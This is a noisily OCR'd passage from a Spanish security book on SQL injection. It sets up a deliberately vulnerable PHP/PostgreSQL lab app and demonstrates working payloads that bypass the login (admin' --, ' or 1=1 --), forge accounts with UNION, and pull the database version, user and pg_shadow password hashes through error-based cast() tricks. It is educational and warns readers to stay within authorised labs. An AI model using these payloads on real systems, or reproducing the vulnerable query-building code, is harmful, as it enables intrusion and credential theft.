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Notas previas

Un libro como éste debe comenzar, necesariamente, con una advertencia. A la vuelta de las
siguientes paginas se comenzara a detallar una serie de procedimientos con los que es posible
realizar diversos ataques a un sitio web. Ataques que permitirin no sélo extraer de dicho sitio
informacion, sino también modificarla y eliminarla. Ataques para acceder a los ficheros
almacenados en un servidor. Ataques para ejecutar en ¢l programas y codigos maliciosos.

Todo ello puede constituir un delito segiin la normativa vigente en el pais del lector, salvo que
medie un acuerdo entre el propietario del sitio web y quien realiza estas actividades. Y, por lo que
respecta a éste ultimo, mas vale que este compromiso quede plasmado por escrito. Si, ademas, las
pruebas se realizan a cambio de una contraprestacion econdmica, mejor que mejor.

Si tal oportunidad no se presenta, siempre es posible utilizar una de esas aplicaciones disefiadas
para ser vulnerables que algunos especialistas crean para propdsitos meramente educativos. Como,
por citar un ejemplo, Damm Vulnerable Web Application (http:/www.dvwa.co.uk/).

O, por qué no, los distintos scripts que aparecen a lo largo de la presente obra.

Eso si, en vista del alcance que tienen estas vulnerabilidades, nunca se debe instalar este tipo de
aplicaciones en una maquina en explotacion o en un equipo conectado a Internet o a otra red desde
la que pueda recibir ataques. Una maquina virtual sin conexiones de red con el exterior de su
anfitrion es su sitio. Y atin asi hay que actuar con cuidado.

Debe, por tanto, sefialarse expresamente que en ningin caso se incita al lector a cometer ningin
acto que contravenga las normas legales aplicables. Ni tampoco a instalar ningiin tipo de producto
0 aplicacion sin tener en cuenta minuciosamente las repercusiones de todo tipo que este acto pueda
tener. Sj alguien lo hiciera, considérese responsable de sus actos.
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Introduccion
Las Inyecciones

Las aplicaciones en general, y las aplicaciones web en particular, suelen presentar defectos, fallos
de programacion, algunos de los cuales afectan a su seguridad. Esto no es nada nuevo, ni deberia
extrafiar a nadie, dado el alto nivel de complejidad que con frecuencia alcanzan. Cuando el nimero
de lineas de codigo se mide en decenas de millar, o incluso en unidades mayores, es ficil que
existan errores y, casi siempre, dificil detectarlos y ponerles solucion.

Para simplificar el estudio de estos problemas, puede utilizarse un modelo conceptual de las
aplicaciones que las descompongan en varios niveles.

El primero de ellos representaria la interfaz de usuario, la parte con la que éste interactta y a través
de la cual se producen las entradas y salidas de informacion. Centrando el estudio en las
aplicaciones web, aparecerian aqui los navegadores web y todas las tecnologias que éstos usan:
HTML, JavaScript, VBScript, Flash, Silverlight, Java, plugins para visualizar archivos PDF y de
otro tipo, etc,

En el segundo se realizan operaciones que transforman, agrupan, resumen o procesan de alguna
otra forma los datos. En esta capa de “Proceso” se encontrarian los servidores web, equipados con
sus correspondientes generadores de paginas activas: ASP - ASPX, PHP, Java Servlets, Java
Server Pages, ColdFusion...

Finalmente, es habitual que alguna informacion sea almacenada en un repositorio que permita su
Uso posterior. Dependiendo de la naturaleza de la aplicacion, este repositorio puede tomar diversas
formas, que van desde un simple sistema de ficheros hasta un directorio LDAP, pasando por una
Base de Datos.

En este modelo de “Interfaz-Proceso-Datos”, ningiin nivel es inherentemente ni mis ni menos
Televante que cualquiera de los otros. Al menos, no en cuanto a la seguridad de la aplicacion se

refiere. Un fallo en una de las componentes puede afectar al resto y dejar todo el sistema en manos
de un atacante.

Es el caso de las vulnerabilidades de tipo SQL Injection, LDAP Injection, Connection String
Utacks o XPath Injection. Términos que, aunque normalmente se asocien a las aplicaciones web,
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no se restringen unicamente a ellas. Ciertamente, las facilidades de acceso que ofrecen los
entornos de Internet/Intranets potencian enormemente los efectos y facilitan la explotacién, pero
también pueden ser relevantes en otras condiciones. Piénsese en los lectores de codigos de barras
de supermercados. O en controles de acceso a edificios y dependencias.

Hay algo comtn en las vulnerabilidades mencionadas anteriormente: en todas ellas existe un error
de programacion que se ubica en la capa de “Proceso”, pero cuyas repercusiones escapan de ella.
Un fallo de tal naturaleza que permite que las entradas del usuario, producidas a nivel de “Interfaz”
puedan atravesar la capa de “Proceso” e interactuar directamente con la de “Gestion de Datos™.

En otras palabras, y por poner un ejemplo: si se usa una Base de Datos para almacenar la
informacion, el usuario podria terminar interactuando con el Sistema Gestor de Base de Datos,
extrayendo o introduciendo informacién, creando o eliminando tablas, modificando el esquema,
alterando usuarios. ..

Todo esto y, posiblemente, mucho mas. Los limites a lo que se podria hacer vendrian impuestos
por cuatro condicionantes basicos:

- Las funcionalidades que el sistema de gestion de datos ofrece. Hay, por ejemplo, Sistemas
de Gestion de Bases de Datos que permiten la ejecucion de comandos del sistema
operativo, o la lectura y escritura de ficheros, desde sentencias SQL.

- Las limitaciones impuestas por el entorno de ejecucion del sistema de gestion de datos y/o
el software de la capa de “Proceso” asi como la cuenta con que se accede al sistema
operativo.

- Los privilegios de la cuenta con la que la aplicacién accede a los datos.

- El conocimiento que el atacante posee sobre el sistema de gestion de datos utilizado.

La moraleja es clara: los sistemas deberian disefiarse para ofrecer las minimas funcionalidades
necesarias para el servicio que prestan y ejecutarse con los minimos privilegios posibles.

Y los atacantes deben conocer al méximo aquello con lo que se enfrentan.

_(:Mn 1. SOL Injection a partir de (casi) cero 13

Capitulo I
SQL Injection a partir de (casi) cero

Aplicaciones web las hay de muchos y distintos tipos: gestores de contenidos, servicios de
webmail, soluciones de monitorizacion, foros, blogs, programas de gestion... Cada una tiene sus
particularidades y sus necesidades pero hay algo que, casi invariablemente, la inmensa mayoria de
ellas precisa: un Sistema Gestor de Bases de Datos con soporte para el lenguaje SQL.

Es ahi donde se almacena y gestiona uno de los recursos més importantes; la informacion. Y,
conforme a su valor, ésta suele estar protegida por una serie de mecanismos que proporcionen un
nivel de seguridad apropiado, incluyendo sistemas de autenticacion y de control de acceso.

Pero en ocasiones éstos pueden ser sorteados por un atacante aprovechando errores en la
programacion de las distintas componentes. Es el caso de las vulnerabilidades de tipo SQL
Injection, tratadas en el presente libro.

En los proximos apartados se supone que el lector estd familiarizado con el lenguaje SQL. De no
ser ¢ste el caso, existen en Internet numerosos recursos sobre el tema que le pueden servir de
introduccién. El siguiente enlace, aunque orientado a Bases de Datos ORACLE, contiene
informacion  general sobre las multiples funcionalidades  ofrecidas por  SQL:
htip:/fwww.infor.uva.es/~jvegas/cursos/bd/sqlpl us/sqiplus.html

Y, si el idioma no es un problema, W3Schools mantiene una serie de materiales interesantes sobre
el tema en: hutp:/www.w3schools.com/sql/sql_intro.asp

1. Preparando el entorno

Los ejemplos presentados en los siguientes epigrafes usardn una aplicacion vulnerable que se
ejecuta en un servidor web Apache con PHP y que accede a una Base de Datos PostgreSQL.

Los datos se almacenan en dos tablas, ambas creadas dentro de un mismo NameSpace llamado
“almacén”™. La primera de ellas se denomina “usuarios” y contiene los datos de las cuentas de
acceso a la aplicacion:
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Id Nombre Contraseiia Desc

I admin passadmin Administrador
2 usuariol password 1 Primer usuario
3 usuario2 password?2 Segundo Usuario
4 leet P@55w0rd El Amigo Friky

Tabla 1: Usuarios

Por supuesto, como seguramente alguien habrd ya pensado, no es buena idea almacenar las
contrasefias sin cifrar. Quede claro que se estd presentando una aplicacién vulnerable ¥ que no
debe ser usada como modelo a la hora de desarrollar ninguna solucién real.

La otra

El cédigo fuente de la aplicacién estd repartido entre varios ficheros PHP. En primer lugar,
“pg.inc.

tabla, “productos”, almacena informacion sobre los bienes disponibles:
Id | Referencia Nombre Precio
1 AAA tornillo 1
2 BBB tuerca 2
3 Cccc bombilla 4
4 DDD arandela 3
5 EEE destornillador 10

Tabla 2; Productos

php” define las funciones para acceder a la Base de Datos PostgreSQL:

Mﬂ 1. SOL Injection a partir de (casi) cero

13

function ejecutar_SQL ($conexion, $cadena) {

14

return pg_exec($conexion, $cadena);

15

16

17

// Obtener el niumero de filas de un resultado

18

function numero_filas($resultado) {

19

return pg_numrows($resultado);

20

21

22

/f Obtiene la fila nimero $i de un resultado

23

/l Para obtener un campo se usa la sintaxis $fila_obtenida["nombre-de-la-columna]

24

25

function fila($resultado, $i) {

26

return pg_fetch_array($resultado, $i);

27

28

29

$conexion = conectar('localhost', 'postgres', 'tester’, 123");

30

<?php

/I Abrir una conexion con la Base de Datos

function conectar($host, $db, $usuario, $contrasena) {

return pg_connect("host=$host dbname=$db user=$usuario password=$contrasena");

// Cerrar una conexién

1
2
3
4
5
6
7
8

function cerrar_conexion($conexion) {

9

pg_close($conexion);

10

11

12

/I Ejecutar una consulta SQL sobre una conexién

?>

“login.

php”, por su parte, establece un sistema de control de acceso:

—

<?php

session_start();

include 'pg.inc.php;

/I Si se ha rellenado anteriormente el formulario, comprobar los datos

if (isset($_POST["nombre"])) {

Lo o o T Y I = » T 6 I Y S O T B\ ) S

/I Sentencia SQL a ejecutar

—
o

$sql = "select * from almacen.usuarios where nombre = " .
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11

$_POST['nombre"] .

12

"and contrasena ="' .

13

$_POSTF'de"] : i :

14

15

16

$resultado = ejecutar_SQL($conexion, $sql);

17

18

Il Si hay filas, los datos de acceso eran correctos

19

if (numero_filas($resultado) != 0) {

20

/I Obtener los datos del usuario logado

21

$fila = fila($resultado, 0);

22

23

/I Almacenar su ID en los datos de la sesién

24

$_SESSION["usuario"] = $fila["id"];

25

26

// Dar la bienvenida

27

echo "<h3>Login OK<h3>

28

Bienvenid@, " . $fila["desc"] . "<br>

29

Pulse <a href="producto.php'>aqué&iacute;</a> para continuar.";

30

31

} else {

32

echo "<h3>Login fallido</h3>";

33

35

36

/I Si no se ha iniciado la sesion, mostrar un formulario de logon

37

if (! isset($_SESSION["usuario")) {

38

print '<form method="POST" action="login.php">

39

<table border="1">

40

<tr><td colspan="2">Introduzca sus datos de acceso</td></tr>

Mﬂ SOL Injection a partir de (casi) cero

=]

41

<tr><td>Nombre:&nbsp;</td><td><input type="text" name="nombre"

id="nombre"></td></tr>

<tr><td>Clave:&nbsp;</td><td><input type="password" name="pwd"

2 id="pwd"></td></tr>

43 </table>

44 <input type="submit" value="Enviar">
45 <fform>';

46 |}

47

48| 7>

Con estos elementos es suficiente por ahora. El resto iran siendo introducidos a medida que sea

preciso.

2. Login

El script “login.php” proporciona un mecanismo de autenticacion utilizando la tabla
“almacen.usuarios”. La primera vez que se visita, se recibe un formulario que solicita los datos de

acceso:

( = | B [
g:‘::* ‘_,‘ "‘IttF:'-'\i‘J_EE}_S-E.r:u P~RBEX =

Introduzca sus datos de acceso |

T =T
iNombre:

iClave:

[Eovir

Fig 1.1: Login

En principio, podria parecer que es necesario disponer de unas credenciales validas para continuar
pero, revisando las lineas 10 a 13, puede observarse como se genera el codigo SQL que trata de

validar los datos proporcionados por el usuario:
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$s5ql = "select * from almacen.usuarios where nombre = '"
5_POST["nombre"]
"' and contrasena = '"
$_POST["pwd"] . "'n;

El formulario envia dos parémetros POST, “nombre” y “pwd” que son utilizados para crear las
condiciones de una clausula SELECT. Asi, si se introdujeran los valores:

NOMBRE: admin
PWD: 123456

... el codigo SQL generado seria;

select * from almacen.usuarios where nombre = 'admin' and contrasena =
'123456"

... ¥, al no ser correcta la contrasefia, se denegaria el acceso:

[ EEI)
a-\ _@h‘tp fwebser.. O~ B¢ X ” @ we

-~

Login fallido W

e I P
il |Introduzca sus datos de acceso ‘

Nombre: | '_‘ |
ome |
4 100% ~

Fig 1.2: Acceso Denegado

Hasta aqui, el usuario ha respetado las “reglas del

Juego” y ha hecho lo que se esperaba de ¢l pero
un atacante habria actuado de otra forma.

3. Inyectando SQL

Supéngase ahora que se hubieran especificado los siguientes valores:

NOMBRE: admin' --
PWD: 123456

... el cddigo SQL generado seria:

; ; T
Capitulo 1. SQL Injection a partir de (casi) cero [
Lot e
{ect * from almacen.usuarios where nombre = 'admin' --' and contrasena
sele
= '123456'

Nétese como la comilla introducida en el campo “nombre™ produce el cierr.e .df.: la cadena en !a
lousula SELECT. Por su parte, los dos guiones (“--"") que siguen sirven para iniciar un comegtarllo
4 aSQL con lo que, a partir de ese punto, el resto de la linea es ignorado. Como resultado, la
en ] -

consulta ejecutada es:

4 = T 4 1
|select * from almacen.usuariocs where nombre = 'admin

El programador cometié el error de no validar suficientemente las entradas del .usgano y, como
I‘CSII:ItadO una comilla simple y un inicio de comentario han servido para eliminar cual{c1|u1er

¥ - - I3 r
comprobacion de la contrasefia introducida. La sentencia SQL se ejecutard y retornaré resultados y
el atacante podra acceder a la aplicacion:

( (=l E s
G [3‘ http://webser.. 0 ~ & ¢ X | 2 we

»

Archivo Edicion Ver Favoritos Herramientas

-

Login OK

Bienvenid@, Administrador :
Pulse aqui para continuar.

U ®100% v

Fig 1.3: Acceso sin contraseiia

En casos como éste, no es siquiera necesario conocer el nombre de una cuenta para entrar a la
aplicacion. Por ejemplo, podrian haberse utilizado los siguientes valores:

NOMBRE: 'or 1=1 --
PWD: 123456

... dando lugar a la siguiente consulta:

P vy |
select * from almacen.usuarios where nombre = '' or 1=1 and
contrasena = '123456'

La condicion a cumplir es, en este caso que el nombre sea una cadena vacia o que 1 sea igual que 1
¥, aunque lo primero pueda ser falso, lo segundo siempre es verdadero.



20 Hacking de Aplicaciones Web: S OL Injection EMLL_SQL Injection a partir de (casi) cero

El operador “OR” hard prevalecer este segundo criterio y, como resultado, el programa recibira
una relacion de todos los usuarios. Después, seleccionara el primero de ellos que, con bastante
probabilidad, se correspondera con el primero que, historicamente. se introdujo en la tabla.
Frecuentemente, un administrador.,

4. Una contramedida

Visto lo visto, el programador posiblemente decida que su codigo no es suficientemente seguro y
se plantee como modificarlo. Y, puesto que el problema es que el atacante es capaz de inhabilitar
la comprobacion de la contrasefia mediante SQL, posiblemente piense en realizar esta tarea
directamente en el cddigo PHP.

En pocas palabras, se trataria de, con una consulta SQL, obtener la contrasefia del usuario utilizado
para, después, comprobar en el script PHP si se corresponde con la introducida en el formulario.
Este es el procedimiento que se automatiza en el siguiente script, “login2.php™:

1| <?php
2 | session_start();
3
4 | include 'db.inc.php';
5
6 | // Si se ha rellenado anteriormente el formulario, comprobar los datos
7| if (isset($_POST["'nombre"])) {
8
9 /I Sentencia SQL a ejecutar
10 $sql = "select trim(contrasena) pwd, id, \"desc\" from almacen.usuarios where nombre
11 $_POST["nombre"] . "":
12 $resultado = ejecutar_SQL($conexion, $sql);
13
14 /I En principio, se da la contrasefia por no valida
15 $error = true;
16 /I Si hay filas, existe la cuenta de usuario
17 if (numero_filas($resultado) != 0) {
18 /I Comprobar la contrasefia

G| $fila = fila($resultado, 0);
| it
- 20
o1 if ($fila["pwd’]==$_POST["pwd"]) {
':__2_2_ /I Aimacenar su ID en los datos de la sesién
23 $_SESSION["usuario"] = $fila['id"];
8t o5 / Todo OK
%26 $error = false;
27 /I Dar la bienvenida
o8 echo "<h3>Login OK<h3>
29 Bienvenid@, " . $fila["desc"] . "<br>
- 30 Pulse <a href="producto.php'>aqu&iacute;</a> para continuar.";
31 }
32
33 }
34 if ($error) {
35 echo "<h3>Login fallido</h3>";
36 }
37 |}
- 38
39 |/ Si no se ha iniciado la sesion, mostrar un formulario de logon
40 | if (! isset($_SESSION["usuario"])) {
LG print '<form method="POST" action="login2.php">
e <table border="1">
43 <tr><td colspan="2">Introduzca sus datos de acceso</td></tr>
<tr><td>Nombre:&nbsp;</td><td><input type="text" name="nombre"
2 id="nombre"></td></tr>
<tr><td>Clave:&nbsp;</td><td><input type="password" name="pwd"
i id="pwd"></td></tr>
46 </table>
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a7 <input type="submit" value="Enviar">

48 </form>';

49|}

50

51| ?>

Las principales diferencias con el script utilizado en los apartados anteriores radican en las lineas
10y 11, en que se construye la sentencia SQL que obtiene los datos del usuario:

$sql = "select trim(contrasena) pwd, id, \"desc\" from almacen.usuarios where nombre =" .
$_POST["nombre"] . "";

... y en la linea 21, en que se comprueba si la contrasefia proporcionada por el usuario se
corresponde con la almacenada en la base de datos

if ($fila["pwd"]==$_POST["pwd"]) { |

Con ello dejarian de funcionar los ataques presentados hasta este momento. Pero la aplicacion
seguirfa siendo insegura. Supdngase que el atacante conoce la estructura de la consulta. Quiza sea
porque se trata de una aplicacion de codigo abierto. Quiza se hizo con el codigo fuente
aprovechando otra vulnerabilidad. Quiza lo obtuvo mediante prueba y error. Quiza, .

Sea como sea, si sabe que la respuesta contiene tres columnas y que éstas se corresponden con la
contrasena, el identificador de usuario y su descripcién, podria hacer algo mas que adivinar la
contrasefia o intentar evitarla. Podria crearla.

Una forma de hacerlo seria introduciendo en el formulario los siguientes datos:

NOMBRE: aa' union select 'abede', 1, 'Maestro' --
PWD: abcde

Con ello, la consulta ejecutada por la aplicacion seria:

select trim(contrasena) pwd, id, \"desc\" from almacen.usuarios
where nombre = 'aa'
union select 'abecde',1l, 'Maestro' --'!

... la union de dos consultas.

La primera de ellas no proporcionaria ningtn resultado, ya que no existe ningun usuario cuyo
nombre sea “aa”; la segunda resulta en una sola fila con tres columnas:

- Laprimera, la que se correspondia con la contrasefia, contiene el valor “abede”.

r"
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Capiies — —

La segunda, el “id”, es 1",
Y la tercera, la descripcion, “Maestro™.

cuando mas adelante la aplicacion compruebe la contrasefia, lo hard utilizando estos valores,
introducidos por el atacante. No es de extrafiar, pues, que la contrasefia introducida en el
formulario sea consistente con ellos. El resultado:

g - =] 5 [ |
@' v [::’:‘ http://webser... O ~ B ¢ X |i (2 webserverl X ‘ i 1 By
Login OK '

|
Bienvenid@, Maestro i
Pulse aqui para continuar. i

|

Fig 1.4: Entrando

Y, ademas, puesto que el id introducido, “1”, se corresponde con la cuenta “admin”, se habran
obtenido los privilegios de la misma.

5. Mas alla del acceso

Una vez dentro de la aplicacion, el usuario puede acceder a un nuevo script denominado
“producto.php”, cuyo cédigo fuente es:

E

<?php

1
2
3 | include 'header.inc.php';
4
5

/I Si se indico el producto, buscarlo

_ B|if (isset($_GET["id"])) {

$sql = "select * from almacen.productos where referencia =" .

$_GET["id"] ;

9
0 $resultado = ejecutar_SQL($conexion, $sql);
1
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12 if (numero_filas($resultado) == 0) { i (isset($_SESSION['usuario'))) {
13 echo "Referencia no encontrada";
s Yeise{ //Obtener el nombre del usuario
2 $ilaisiiatpresuitadoi0) $sql = "select * from almacen.usuarios where
16 echo "<h3>Datos sobre el producto:</h3>"; id=".$_SESSION['usuario"] ;
17 echo "<table border=1">";
18 echo "<tr><td>Referencia</td><td>Nombre</td><td>Precio</td></tr>"; $resultado = ejecutar_SQL($conexion, $sql);
19 echo "<tr><td>" . §fila["referencia"] . $fila = fila($resultado, 0);
20 '</td><td>' . $fila["nombre"] . $usuario = $fila["desc"]:
21 '</td><td>'. $fila["precio"] .
22 Sitd><ftr>; /I Mostrar un indicador del usuario logado
2 echoisiable>?, echo '<table border="1" width="100%">
2 <tr width="100%"><td>
291} HA INICIADO SESI&Oacute;N COMO: '.
26 $usuario .
27 | /I Mostar formulario "Buscar" '</td></tr></table><br>"
28 | echo '<h3>Buscar producto</h3>
29 <form method="GET" action="producto.php"> }else {
30| Buscar: <input type="text" id="id" name="id"> é 24| /1 Si no esta logado, redirigir a logon
31 <input type="submit" value="Buscar"> , 25 header( 'Location: login.php' ) ;
32 </form>"; ;’t{'i26 }
33| 72> o7

Lo primero que hace “producto.php” es incluir otro fichero, “header.inc.php”, encargado de
mostrar en la cabecera de cada pagina un mensaje que indica bajo qué cuenta de usuario se ha
iniciado la sesion:

En la linea 4 se incluye el fichero “db.inc.php” que proporcionard un mayor grado de flexibilidad a
la hora de seleccionar un motor de bases de datos.

Por ahora quedara como sigue:

1| <?php ?
2 | session_start(): _ =7phe
3 2 | include 'pg.inc.php’;
: : HE
4 | include 'db.inc.php’;
5
EEE
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De vuelta a “producto.php”, puede observarse que se trata de un buscador;

belE) S 3
a‘. [\:} hitpy//webser., 0« DX ]i = webserverl

HA INICIADO SESION COMO: Administrador

(1

i Buscar producto

Buscar: 1M]

|

H100%

Fig 1.5: Buscador de productos

El c6digo SQL encargado de localizar los productos aparece en las lineas 7 a 8:

$sql = "select * from almacen.productos where referencia = "
$_GET["id"] ;

De nuevo, el programador no incluyé ninguna comprobacion de las entradas del usuario antes
usarlas para generar las consultas. Y, de nuevo, es posible inyectar codigo SQL aprovechando el
parametro “id” que, en este caso se pasa usando el método GET.

Nota: Debe sefialarse que no sélo los parametros, ya sean GET o POST, son
susceptibles de convertirse en las puertas de entrada a vulnerabilidades de tipo SQL
Injection: cualquier dato controlable por el usuario que sea introducido en las
consultas SQL sin los debidos controles puede ser fuente de problemas. Y esto
incluye cookies, encabezados HTTP como el User-Agent del navegador, la propia URL, etc.

Incluso a veces, las consultas se generan utilizando informacién almacenada en la propia base de
datos. Posiblemente, introducida previamente de forma maliciosa por el atacante, A esto se le suele
denominar “SQL Injection de Segundo Orden”.

Otra diferencia con el ejemplo anterior es que el pardmetro vulnerable, “id”, es de tipo numérico,
con lo que no es necesario introducir ninguna comilla para comenzar a introducir c6digo SQL. De
hecho, si se insertara una, se produciria un error de sintaxis.

El comportamiento ante este tipo de errores puede variar en funcion de la configuracion del
servidor web, asi como de la propia aplicacién si ésta implementa procedimientos para la gestién
de excepciones. El peor de los casos (o el mejor, segiin para quién) se da cuando se muestran al
usuario mensajes indicativos de la causa del problema.

o
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En ocasiones, l0s administradores de sistemas, y los desarrolladores, activan este comportamiento
n 2

ara valerse de la ayuda de los mensajes a la hora de depurar sus programas.
P

En el caso de PHP, en el fichero “php.ini” existe un parametro, “display_errors”, que indica si los
rrores deben 0 no (segun se le asigne el valor “on” u “off”, respectivamente) ser mostrados al
e

usuario.

Para comprobar como se comporta la aplicacion objeto de estudio... qué mejor que forzar u.n error.
Por ejemplo introduciendo Ginicamente una comilla en el cuadro de busqueda y haciendo clic sobre

el boton “Buscar”.
Puesto que se usan parametros GET, otra forma de conseguir el mismo resultado seria visitar la
URL: http:/twebserverl/pruebas/producto.php?id="

El resultado...

— — = =

. ‘ B e ~ oo
e‘?"—)lg} http://webserverl/} O ~ B G X || @ webserverl X [ U 998

| |HA INICIADO SESION COMO: Administrador

|| Warning: pg_exec() [function.pg-exec]: Qum}n' faﬂ:ed: ERROR: una cadena de caracteres
entre comillas estﬁ; inconclusa en o cerca de A«';A» LINE 1: select * ﬁ'c.)m
almacen productos where id = '; * in /var/www/pruebas/pg.inc.php on line 14

l L =3
'| Warning: pg_numrows() expects parameter 1 to be resource, boolean given

| in /var/'www/pruebas/pg.inc.php on line 19

i| Referencia no encontrada

L ®100% ~

Fig 1.6: Error

Un atacante podria deducir muchas cosas a partir de los avisos que aparecen en lg respuesta. Para}
€mpezar, los nombres de las funciones, “pg exec” y “pg numrows” evidencian que se estd
utilizando una Base de Datos PostgreSQL. Ademas, los scripts del programa estan ubica(.ias en la
Carpeta “/var/www/pruebas”, de lo que se puede deducir que el sistema operativo del servidor web
debe ser Linux, Unix o similar.

Y, ademas, aparece la sentencia SQL que se intentd gjecutar:

@* from almacen.productos where id='
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... lo cual no solo revela el nombre de una tabla y una de sus columnas sino que muestra como el
valor proporcionado para el parametro GET “id” es pasado directamente, al parecer sin
demasiadas comprobaciones, a la consulta SQL.

Todo apunta a que puede existir una vulnerabilidad explotable.

6. Los mensajes de error

Si bien SQL es un lenguaje estandarizado, cada Sistema Gestor de Bases de Datos habla su propio
“dialecto”. ORACLE, PostgreSQL, MySQL, SQL Server, al igual que cualquier otro producto,
incorpora sus propias “mejoras”, funcionalidades, ampliaciones de la sintaxis, etc. y también
almacena el esquema de la Base de Datos siguiendo unos criterios propios.

A estas alturas, el atacante sabe que se enfrenta a una Base de Datos PostgreSQL y eso le va a
simplificar mucho las cosas.

Una funcién que le resultard de gran utilidad es “cast”, que permite realizar conversiones de tipo.
Por gjemplo:

Lcast('Z' as int) |

... convertird la cadena '2' en un entero, retornando el valor numérico 2, mientras que

Lcast('A' as int) I

... producira una condicion de error, al no poder determinar el valor entero correspondiente a la
cadena 'A',

Puesto que el servidor PHP esta configurado para mostrar al usuario mensajes explicativos de los
errores que se produzean, el atacante puede forzar excepciones en la conversion de tipos de datos
para extraer informacion de la Base de Datos.

Por ejemplo, la siguiente URL: http.//webserverl/pruebas/producto.php? id=cast(version() as int)

... conllevaria la ejecucion de la sentencia SQL:

|ie]ect * from almacen.productos where id= cast(version() as int) ‘

... que requiere convertir la salida de la funcién “version()” en un entero. Dicha funcién
proporciona informacion sobre la version del motor de Base de Datos utilizado.

La conversion no es posible y se produce un error, tal y como se muestra en la imagen de la pagina
siguiente.
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Warning: pg_exec() [function pg-exec]: Query failed: ERROR: la sintaxis de entrada ‘
10 es vAjlida para integer: A«PostgreSQL 8.4.8 on i686-pc-limux-gnu, compiled by
GCC gee-4.5 real (UbuntuLinaro 4.5 2-8ubuntud) 4.5.2, 32-bitA»

in /var/www/pruebas/pg.inc.php on line 14

Warning ne_mimrows() exnects narameter | to be resource_baolean siven
H100% -

)

Fig 1.7: Version

La salida de la funcién “version()” aparece en el mensaje de aviso:

PostgreSQL 8.4.8 on i686-pc-linux-gnu, compiled by GCC gee-4.5.real (Ubuntu/Linaro 4.5.2-
Subuntu4) 4.5.2, 32-bit

De forma similar, el nombre de la instancia de Base de Datos en uso puede obtenerse con
“current_database()” y el usuario utilizado para acceder a ella mediante “user” (sin los paréntesis).

Mediante el operador de concatenacion de cadenas, “||”, es posible determinar ambos valores con
una unica peticion:

Lhttp:b’webserverl /pruebas/producto.php?id=cast(current_database()||" - '|juser as int) I

@I_{% http://webserverl, O ~ B ¢ X—” & webserverl

HA INICIADO SESION COMO: Administrador

Warning: pg_exec() [function pg-exec]: Query falled: ERROR: la sintaxis de entrada
no es vAjlida para integer: A«postgres - testerA» in /var/www/pruebas/pg.inc.php on
line 14

Warning: pg_numrows() expects parameter 1 to be resource, boolean given

in fvarfwww/nrehas/ng inc.nhn on line 19

#®100% ~

Fig 1.8: Base de Datos y Usuario

La Base de Datos se llama “postgres” y el usuario “tester”. Y ésta es una cuenta no de la
aplicacion sino del gestor de bases de datos. Incluso, si ésta tiene suficientes privilegios, podria
CXiraerse su correspondiente contrasefia. PostgreSQL almacena dicha informacion en una tabla



30 Hacking de Aplicaciones Web: SQOL Injection

denominada “pg_shadow” que dispone de, entre otras, las columnas “usename” y “passwd”.
Haciendo uso de una clausula SELECT anidada, es posible extraer informacién de ella:

http://webserverl/pruebas/producto.php?id=cast((select passwd from pg_shadow where
usename='"tester') as int)

x gl @ Tr @

e £ - 80 X]| @ webmeren

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: la sintaxis de entrada
I no es vAjlida para integer: A«amd5027af93453edd6f1dala98266b385921An ~ 'I
in /var/www/pruebas/pg.inc.php on lins 14

Warning: pg_numrows()} expects parameter 1 to be resource, boolean given
in (varfwww/nmebas/ne.inc.nhn an line 19
Fig 1.9: Contrasena

El valor obtenido es “md5027af93453edd6f1dala98266b385921” que, como sus tres primeros
caracteres indican, contiene un hash MD35. Este hash se calcula a partir de la concatenacién de la
contrasefia con la cuenta de usuario. En principio, el uso de esta Gltima como *“salt” dificulta la
determinacion de la contrasefia mediante el uso de rainbow tables o herramientas similares (que no
los ataques de diccionario o por fuerza bruta). Sin embargo, como muestra la Figura 10, a veces
puede bastar con una bisqueda en Google:

mﬂ"‘ it/ o google.es #achier P+ © X || 8 oz7afo3453eadsm1datasezs... x [ I 17 o8

Go -\_nge 027af93453edd6f1da1a98266b385921 (SO

Bisqueda avanzada

Busqueda 2 resultados (0,10 segundos) ‘ |
=]
| &
Todo » 14168 - Requested MD5 Hash queue ! |4
: - [ Traducir esta pagina ] |
Imagenes vvw.mdSthis comlist. php? |
page=14168&key=1_city - Encaché B

Maps > 50 elementos — MD5 QUEUE : Added: Tue 15th May ... !

. +025i031981780a32a261ee65d62b5108 — sTRoBn
Videos +03cb2e111d893755ddbeddadlc7e26e6 — engin
e » 025i4b32da51d04f9c321432781ac2cB — iqadmvci
Noticias
Shapping xdecrypt.com | 250 000 000 Hash MD5, SHAT ...
- - [ Traducir esta pagina ] F=1
Mas xdecrypt com/google-md5-027a - Ef Idche

027af93453eddsi1da1a98266b385921 (FEITTIE] .
|

<] il

Fig 1.10: Descifrando
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Copl= = ===

w123tester". Por tanto, la contrasefia del usuario “tester” es “123”. Nétese que, al buscar, se
eliminaron los caracteres “md5” iniciales.

Existe una cuenta con privilegios administrativos presente habitualmente en los sistemas
PostgreSQL denominada “postgres”. Siempre es bueno conocer su contrasefia:

http:f/webserverl /pruebas/producto.php?id=cast((select passwd from pg_shadow where

usename='postgres') as int)

Si el atacante conociera la direccién o el nombre del servidor PostgreSQL y tuviera acceso a él, ya
dispondria de cuanto necesita para intentar realizar una conexién, por ejemplo, mediante ODBC, y
acceder a la informacién. Pero, como se mostrara en posteriores apartados, posiblemente se tenga
que enfrentar a nuevos problemas antes de conseguir su objetivo.

7. Leyendo de la Base de Datos sin mensajes de error
En este apartado, se realizaran pruebas asignando el valor “Off” al pardmetro “display_errors” del
fichero “php.ini”.

Los mensajes de error facilitan en gran medida la extraccion de datos, pero no siempre estan
disponibles. A menudo, ante un error en la sintaxis SQL, las aplicaciones retornan una pagina de
error personalizada, una pagina sin texto o, como en el caso objeto de la presente discusion,
simplemente indican que la bisqueda no ha obtenido resultados.

— Rk WE AT 4 iy 50 Wil PN
el\fjl & nhitp//webserverl, O ~ B ¢ X “j.;} webserverd x I : l Sy o3
-

-

[HA INICIADO SESION COMO: Administrador
Referencia no encontrada

Buscar producto

Buscar '

H100% ~

Fig 1.11: Pagina con los mensajes de error desactivados

; Aln asj, sigue siendo posible explotar la vulnerabilidad SQL Injection presente en el script.

I{il Primer inconveniente es que se ignora qué Sistema Gestor de Base de Datos se esta utilizando.
Sl(_:mpre es conveniente conocerlo porque, como se indicé anteriormente, cada uno soporta su
Propio dialecto de SQL.
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Quiza el atacante ya tenga ese dato. Puede que, por ejemplo, lo haya deducido de los resultados de
un escaneado de los puertos IP abiertos en el servidor. Pero si no es asi, necesita obtenerlo de
algin modo. Si no utiliza el dialecto SQL apropiado no obtendra los mejores resultados.

Por fortuna para €l, éste es un problema que conlleva su propia solucion. Es posible determinar, al
